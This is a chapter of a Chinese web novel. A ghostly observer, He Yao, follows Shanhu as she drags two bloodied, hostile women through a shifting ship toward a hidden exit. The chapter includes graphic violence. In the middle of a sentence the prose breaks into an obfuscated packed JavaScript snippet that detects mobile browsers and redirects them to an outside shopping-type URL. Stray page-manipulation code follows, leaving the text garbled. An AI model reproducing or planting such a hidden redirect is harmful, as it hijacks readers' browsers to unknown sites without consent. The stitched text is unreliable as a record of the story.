何瑶看了一会儿，才觉察到那欠缺的两分在哪儿。


    在表情。


    她记忆中的安琪儿要么是极度惊恐的，要么是极度自得的。


    但现在的安琪儿，目光清澈又带了几分恐惧与畏缩，步伐有点飘，但却缓慢地往远离那两个血人的方向挪。


    左侧的血人发现了她的小动作，直接把另一只手里攥着的刚刚被砍下来的鲜血淋漓的断肢，朝着安琪儿丢了过去：“你敢跑——？”


    安琪儿立刻站定，双手摇出虚影：“不，不我不跑！”


    左侧血人：“你过来！”


    安琪儿也不敢过去。


    左侧血人阴恻恻：“我叫你过来，珊瑚！”


    ——珊瑚？！


    安琪儿是那个写下一张又一张字条的珊瑚？！


    不对，还是有哪里感觉不对。


    何瑶继续观察。


    珊瑚抖着身体，往前刚挪了一步，右侧血人扔来一个占满血的抱枕，正中珊瑚的额头。


    她说：“来、我、这、边！”


    珊瑚又不动了。


    右侧血人：“把我带出去！”


    左侧血人：“带我出去！”


    两人又恶狠狠地看了对方一眼，异口同声：“不许带她！”


    又：“拿着我的武器，干掉她！我会把她的那份积分全都给你！！”


    有点好笑，但更多的是可悲、可恶、可恨、可叹。


    但也是个机会——一个双杀的机会。


    珊瑚一步步地靠近两个血人，在四只血色的瞳孔的注视下，每一步都很犹豫。


    但当她走到两个人的面前时，她的动作却立刻变得敏捷。


    眨眼的功夫，她便从两人手中夺过她们的武器。


    她成了那个掌握生杀大权的人。


    何瑶端详着那张脸。


    还是，只有八分像安琪儿。


    这时候的安琪儿，应该狂妄地嘲笑两个人的愚蠢。


    但珊瑚，却只是默默地把两个武器对准了暗窗的窗帘。


    撕拉。两声。


    珊瑚割下两块长长的窗帘。


    她又裁出几条长带子，对着沙发上两个血人低声说了句抱歉。


    她走到左侧血人面前，飞快地捆住她的手脚，半拖半抱地把她弄到一个床单上，又把绑手、脚处分别留出的那一节带子，系在床单的两侧。


    又走近右侧血人。


    右侧血人挣扎：“我不要——！你别想这么侮辱我！！”


    珊瑚没有听她的哀嚎，身上被乱动的血人又溅上好多血点子，她依然坚定地绑住右侧血人，以同样的方式给她固定好。


    珊瑚深深地吸了一口气，像是伏尔加河上的纤夫那样，拖着两截窗帘的一端，拉着两个人，缓慢前移。


    旁观了这么长时间，还没有到写下那个纸条的片段。


    何瑶便跟着珊瑚她们继续往前走。


    珊瑚她们显然不是破坏隔断隔断进来的，所以她们继续往前走。


    这一路上，两个血人骂骂咧咧，一会儿骂对方，一会儿骂珊瑚，一会儿看见“彩蛋”又扭动得跟蛆一样，想要去捡。


    珊瑚拖着两个成年人，本来就很吃力。


    两人还这么不配合，让珊瑚艰难的前行路又增加了更多波折。


    眼前，是一个楼梯。


    不通往上层，反而通往下层。


    对珊瑚而言，更有挑战性。


    她之前应该走过这里，所以脸上没有惊诧的神色，只是提着一口气，坚定地迈步下去。


    两个血人还在骂骂咧咧：


    “你想弄死我们是不是？！”


    “我看你就是找死！我的伤口又裂开了你知不知道！去颠旁边那个疯婆子！”


    一个踉跄，珊瑚差点一脚完全踩空。


    虽然她努力去抓扶手，但依然晚了一步，整个人滑了下去。


    被拖行的两个血人却在惯性的作用下，更被甩出去一段。


    两人骂得更大声了，脏话不绝于耳。


    何瑶在她们身后听着，都忍不住想上前揍她们一顿。


    但俩人的叫骂声很快戛然而止。


    何瑶赶上她们，却听其中一个发问：“……门呢？”


    珊瑚扶着墙壁勉强站起来，一瘸一拐地走过来：“我们就是从这里进来的啊？”


    “你自己看看！你是不是故意带错路，折磨我们的？”


    珊瑚眼眶通红，都快哭了：“我没有，我真的想把你们都带出去！我确定我就是沿着这条路遇到你们的啊！”


    何瑶也得以看到屋内的情况。


    屋内……就是她们当时进入的休息室。


    但看陈设，珊瑚和血人刚刚离开的地方，应该是何瑶她所在的“幸运号”中休息室毗邻的夹层。


    是同一艘“幸运号”吗，还是“幸运号”内部的空间会随机发生折叠或偏移？


    何瑶在思考。


    两个血人已经开始责备珊瑚：“马上就要出去，你是不是故意不让我们走的？”


    “你特意把我们带到这里，是想看我们死了是吧？是，我们是联手杀了你朋友——谁让她抢到那么多彩蛋的？”


    ……


    此刻，浮空的屏幕上，距离离开的倒计时显示，只剩下30分钟。


    屏幕突然一黑。


    所有人都吓了一跳。


    黑色的屏幕上，像素感满满的动态礼花“炸开”。


    缤纷的光亮砸到珊瑚和两个血人脸上，没有美感，只有满满的滑稽感。


    一个血人低头向地上啐了一口血唾沫。


    礼花消失，浮空的屏幕上多了一行字：


    【温馨提示：彩蛋。】


    “彩蛋”！


    珊瑚似乎得到了灵感。


    她没有理会两个血人的叫骂，在休息室内翻找起来。


    和何瑶她们所见到的休息室一样，里面陈设简洁，一眼能看到头。


    但珊瑚还是仔细地摸着窗框，敲着地板，翻着沙发的坐垫……


    “啊！”珊瑚惊呼，从沙发坐垫下面翻出一个黑色盒子装着的“彩蛋”。


    何瑶以灵体的状态，飘到珊瑚旁边，凑过去看“彩蛋”的内容。


    还是一张字条和一支普普通通的笔。


    纸条上的内容是：【写下你现在的愿望。】


    珊瑚一笔一划写道：【告诉我，门在哪儿？】


    这张纸条原来是这么来的。


    周遭的一切逐渐变得模糊。


    时间到了吗？


    那后来呢？又发生了什么？


    ——想要看到后续。


    这种念头甫一出现，周围已经有些模糊的景象似乎清晰了几分。


    顾凌提过，能持续多久，一定程度上也取决于进入回溯的人的能力。


    那是不是只要她能坚持住，就可以继续看下去？


    怎么坚持？


    何瑶现在自己都没有实体，更拿不到包，用不了手机。


    用积分强化自己的身体素质不可行。


    只能靠思维和意志。


    【想知道后来又发生了什么。】


    何瑶在心中默念。


    周遭的情景没有继续模糊，但也始终维持着目前的清晰度。


    思路好像对，又好像有哪里不对。


    何瑶沉思，心中默念的内容换成：【我想看着她们找到门。】


    眼前的场景稍微清晰了些，但整体还有些模糊，仿佛开了倍速。


    两个血人还在叽里呱啦地说些毫无作用的废话。


    珊瑚写完那一行字后，手中的黑盒子突然出发微光，微光汇聚成一股光束，光束射向远方。


    珊瑚福至心灵，双目炯炯，跟着光束跑了起来。


    没跑两步，又折返，把地上两个喋喋不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776541|184558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    休的血人拖上。


    何瑶跟在三个人的身后也小步跑起来。


    光束真的在指引方向。


    在她们抵达一个位置后，盒子会迸发出新的光束，指引她们下一段历程。


    她们路过何瑶熟悉的桌子，也路过了何瑶根本没见过的双人套间，时而上坡，时而下坡……


    这些空间里的东西似乎都是被重新排列、折叠过一样。


    不知道是不是因为何瑶内心愈发急躁，珊瑚三人的速度越来越快，像是被按了快进键一样。


    何瑶也不知道她们具体走了多久，那光束所指引的路没有什么规律，何瑶都快被绕晕。


    珊瑚：“还没到门的位置吗？”


    “彩蛋”不会说话，“彩蛋”只是默默地又打出一束光——这束光指向一个平平无奇的置物柜。


    但在触及置物柜的时，又拐了一个90度的弯，指向……地面。


    珊瑚身上汗涔涔的，但是双眼却越来越亮，声音带着兴奋：“难道，地上有门？”


    半空中，突然出现了颇为眼熟的浮空屏幕。


    屏幕上，以醒目的黑体给出“温馨提示”：


    【距离“幸运号”航行结束还剩下五分钟，请各位幸运儿及早准备。】


    这一行字下面，是红色的醒目的倒计时。


    时间紧迫。


    珊瑚也明显急躁，她暂时放下两个血人，一个人吭哧吭哧地挪动整个柜子。


    何瑶看着拼命的珊瑚，不由自主地走到她身旁，伸出双手——


    双手穿过了柜子。


    何瑶懊丧地低下头，跺脚。


    “哎——？”珊瑚迟疑，“有什么声音吗？”


    珊瑚一脸错愕，环顾四周，好像除了两个血人，什么也没有看见。


    她又不敢跟这两个女人叫板，只好默默地又把精力放在挪动柜子上。


    何瑶眼睁睁地看着她的目光穿过自己的身体，迷茫不死作为。


    至于那声音，何瑶屏息看向自己还没有影子的身体：那好像，真是自己弄出来的声音？


    她凝视自己的双手，再一次把双手放到柜子上。


    这一次双手没有穿过柜子，反而稳稳地碰到柜子的立面。


    珊瑚在发力，何瑶也配合着发力。


    珊瑚小声嘟哝：“怎么感觉这个柜子没有那么重了呢？”


    何瑶微微一笑。


    两人合力，这柜子很快就被移开。


    原本平平无奇的地板，在柜子被移开的那一刻，突然亮了起来。


    何瑶下意识闭上眼，再光潮退去，她睁开眼，就见到地上出现了一扇颇为复古的木门。


    木门上有一个充作把手的拉环。


    珊瑚握住拉环，用力一拉，木门便被打开。


    她没有急着下去，她没急着探头出去，先谨慎地看了一眼。


    何瑶也跟着看了一眼：


    外面眼前是清澈又近在咫尺的湖水，看着不深；不远处有干净又整齐的房子。


    何瑶刚来着磁场世界不久，也没去过什么地方，对眼前的情景很陌生。


    但是，至少目前看来，她眼前所见跟她之前生活的现实世界区别不大。


    好像是真的出口。


    但珊瑚也没有急匆匆地跑出去，她从自己那破烂的衣服遮挡下，取出一块巴掌大小的玻璃碎片，走向两个血人。


    两个血人终于知道怕了，她们扭动着血淋淋的身体，竭力降低自己的存在感，念念有词：


    “放过我们吧，求求你！”


    “刚才是我不懂事，珊瑚你大人有大量，原谅我吧！”


    “我想活下去！积分都给你！我想活下去！”


    “我也想！我被抓是因为我需要钱给妹妹治病！我杀人也是为了能让妹妹好起来！你可怜可怜我吧！”


    珊瑚在他们的啜泣声中，拿着那片碎玻璃，走到他们身边。